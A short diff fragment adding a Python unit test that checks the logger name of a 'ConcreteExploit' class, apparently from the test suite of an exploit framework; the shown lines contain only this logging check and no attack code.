|
+
|
|
121
|
+
|
|
122
|
+
def test_logger_name_matches_module():
|
|
123
|
+
exploit = ConcreteExploit()
|
|
124
|
+
assert exploit.logger.name == ConcreteExploit.__module__
|